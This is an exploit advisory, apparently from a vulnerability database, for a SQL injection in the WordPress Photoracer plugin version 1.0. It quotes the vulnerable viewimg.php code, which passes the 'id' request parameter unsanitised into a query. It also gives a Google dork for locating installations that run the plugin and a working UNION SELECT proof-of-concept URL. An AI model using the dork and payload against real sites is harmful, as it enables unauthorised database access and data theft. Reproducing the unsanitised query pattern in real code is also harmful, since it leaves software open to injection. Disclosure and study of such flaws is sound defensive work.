WordPress Photoracer plugin <= 1.0 SQL Injection Vulnerability

2011-08-28T00:00:00
ID SSV:20903
Type seebug
Reporter Root
Modified 2011-08-28T00:00:00

Description

No description provided by source.

                                        
                                            
                                                # Exploit Title: WordPress Photoracer plugin <= 1.0 SQL Injection Vulnerability
# Google Dork: inurl:"wp-content/plugins/photoracer/viewimg.php"
# Date: 2011-08-26
# Author: evilsocket ( evilsocket [at] gmail [dot] com )
# Software Link: http://wordpress.org/extend/plugins/photoracer/
# Version: 1.0
 
---------------
Vulnerable code
---------------
 
[ viewimg.php line 16 ]
 
$imgid = $_REQUEST['id'];
$q1 = "select raceid, wpuid, imgid, imgpath, imgname, imgcomment, sumvotes, imgcountview, tinsert from ".
    $wpdb->prefix."photoracer where imgid=$imgid";  
 
$out = $wpdb->get_row($q1);
 
---
PoC
---
 
http://ssv.sebug.net/wp-content/plugins/photoracer/viewimg.php?id=-1 UNION SELECT 0,1,2,3,4,VERSION(),6,7,8